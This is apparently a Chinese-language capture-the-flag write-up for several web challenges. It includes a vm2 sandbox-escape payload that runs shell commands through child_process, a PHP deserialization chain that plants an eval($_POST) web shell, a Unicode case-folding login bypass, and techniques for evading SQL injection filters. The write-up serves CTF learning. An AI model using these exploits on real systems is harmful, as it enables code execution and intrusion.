if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\".".split``.some(v => v === code[i])) {
flag = true;
code = code.slice(0, i) + "*" + code.slice(i + 1, code.length);
}
}
try {

const vm = new VM({
sandbox: {
require: undefined,
setTimeout: undefined,
setInterval: undefined,
clearTimeout: undefined,
clearInterval: undefined,
console: console
}
});
const result = vm.run(code.toString());
console.log('执行结果:', result);
res.json({ message: '代码执行成功', result: result });

} catch (e) {

console.error('执行错误:', e);
res.status(500).json({ error: '代码执行出错', details: e.message });
}
});
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
process.on('uncaughtException', (err) => {
console.error('捕获到未处理的异常:', err);
});
process.on('unhandledRejection', (reason, promise) => {
console.error('捕获到未处理的 Promise 错误:', reason);
});
setTimeout(() => {
throw new Error("模拟的错误");
}, 1000);
setTimeout(() => {
Promise.reject(new Error("模拟的 Promise 错误"));
}, 2000);

app.listen(3000, () => {
console.log('Server is running on port 3000');
});

Dockfile

1
2
3
4
5
6
FROM node:18-alpine //轻量版缺少许多命令,比如没有办法通过/dev/tcp/ 实现出网
WORKDIR /app
COPY ./app /app
COPY ./flag /flag
EXPOSE 3000
CMD ["node","/app/app.js"]

登录大小写那快不用多说

1
2
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

ſyclover/J1rrY

前面是VM2的沙箱,去网上找

1
2
3
4
5
6
for (let i = 0; i < code.length; i++) {
if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\".".split``.some(v => v === code[i])) {
flag = true;
code = code.slice(0, i) + "*" + code.slice(i + 1, code.length);
}
}

这里对执行代码做了简单过滤 可以利用数组绕过的 code.length 和 code.slice 的判断

image-20241127200512334

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /fl* >/app/public/index.html'); }
)
}
}
};
p.then();

或者
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
[customInspectSymbol]: (depth, opt, inspect) => {
inspect.constructor('return process')().mainModule.require('child_process').execSync('cat /fl* >/app/public/index1.html');
},
valueOf: undefined,
constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});

not_just_pop

1
2
3
4
5
6
7
8
9
10
11
$a=new lhRaMK7();
$a->web=&$a->You;
$a->You=new Parar();
$a->You->lead=new Starven();
$a->You->lead->girl=new Parar();
$a->You->lead->girl->handsome=new SYC();
$a->You->lead->girl->handsome->forever=new Starven();
$a->You->lead->girl->handsome->forever->friend=new lhRaMK7();
$a->You->lead->girl->handsome->forever->friend->love='echo 1;eval($_POST[1]);';
echo base64_encode(serialize($a));

蚁剑插件绕disable_funtion

image-20241127205805093

image-20241127205817470

funnysql

1
2
3
if(preg_match('/and|or| |\n|--|sleep|=|ascii/i',$str)){
die('不准用!');
}

or被ban了,意味着information和performance这俩库都查不了了,

所以我们只能通过 mysql.innodb_table_stats 来查到表名

sleep被ban了用benchmark绕就行了,=号可以用like,regexp等来绕,

也可以用>或者<号来绕

空格被ban了可以用/**/或者是()来绕